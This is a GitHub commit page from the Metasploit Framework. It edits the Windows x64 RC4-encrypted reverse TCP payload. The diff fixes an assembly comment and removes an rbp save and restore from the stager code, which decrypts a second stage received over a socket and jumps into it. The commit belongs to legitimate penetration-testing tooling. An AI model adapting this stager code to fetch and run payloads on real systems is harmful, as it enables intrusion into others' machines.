Skip to content

Commit

Permalink
Implement Michael Schierl's suggestions
Browse files Browse the repository at this point in the history
  • Loading branch information
RageLtMan committed Feb 17, 2018
1 parent 354eb40 commit 80779f7
Show file tree
Hide file tree
Showing 2 changed files with 1 addition and 3 deletions.
2 changes: 1 addition & 1 deletion lib/msf/core/payload/windows/x64/rc4.rb
Original file line number Diff line number Diff line change
Expand Up @@ -64,7 +64,7 @@ def asm_decrypt_rc4
mov [r8+rax], dl
add dl, [r8+rbx] ; DL = S[AL]+S[BL]
mov dl, [r8+rdx] ; DL = S[DL]
xor [r9], dl ; [EBP] ^= DL
xor [r9], dl ; [R9] ^= DL
inc r9 ; advance data pointer
dec rcx ; reduce counter
jnz decrypt ; until finished
Expand Down
2 changes: 0 additions & 2 deletions lib/msf/core/payload/windows/x64/reverse_tcp_rc4.rb
Original file line number Diff line number Diff line change
Expand Up @@ -167,15 +167,13 @@ def asm_block_recv_rc4(opts={})
pop rdi ; address of S-box
pop rcx ; stage length
pop r9 ; address of stage
push rbp ; push back so we can return into it
push r14 ; save socket
call after_key ; Call after_key, this pushes the address of the key onto the stack.
db #{raw_to_db(opts[:rc4key])}
after_key:
pop rsi ; rsi = RC4 key
#{asm_decrypt_rc4}
pop rdi ; restrore socket handle
pop rbp ; restore rbp
jmp r15 ; return into the second stage
^

Expand Down

0 comments on commit 80779f7

Please sign in to comment.